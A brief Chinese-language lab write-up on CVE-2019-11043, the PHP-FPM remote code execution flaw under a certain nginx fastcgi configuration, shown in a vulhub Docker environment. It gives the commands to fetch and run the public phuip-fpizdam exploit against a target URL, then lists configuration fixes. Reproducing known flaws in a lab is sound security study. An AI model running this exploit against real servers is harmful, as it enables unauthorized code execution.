1.php-fpm漏洞詳情
- 當nginx使用特定的fastcgi配置的時候,就會存在遠程代碼執行漏洞,但是這個配置並不是默認配置
fastcgi_split_path_info
字段配置爲^(.+?\.php)(/.*)$;
時,攻擊者可以通過精心構造playload造成遠程代碼執行,改配置已經被廣泛使用,危害較大。
2.復現
- 安裝docker環境
git clone https://github.com/vulhub/vulhub.git
2.進入目錄 /vulhub/vulhub/tree/master/php/CVE-2019-11043並運行安裝環境
docker-compose up -d
- 查看鏡像
docker images
- 查看環境:http:ip:8080
- 下載exp,安裝go環境
git clone https://github.com/neex/phuip-fpizdam.git
wget -c https://storage.googleapis.com/golang/go1.13.3.linux-amd64.tar.gz
//解壓到/usr/local目錄
tar -C /usr/local/ -xzf go1.13.3.linux-amd64.tar.gz
- 編輯/etc/profile,在文件最後添加
export PATH=$PATH:/usr/local/go/bin
,執行source /etc/profile
- 獲取工具:
go get github.com/neex/phuip-fpizdam
- 執行exp:
./phuip-fpizdam http://ip/index.php
在/tmp/寫入文件a
- 在docker中進入鏡像環境,查看tmp的目錄
- 查看效果:
3.修復
-
修改nginx配置文件中fastcgi_split_path_info的正則表達式,不允許.php之後傳入不可顯字符
-
暫停使用 nginx+php-fpm 服務
- 根據實際生產環境的業務需求,將以下配置刪除
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;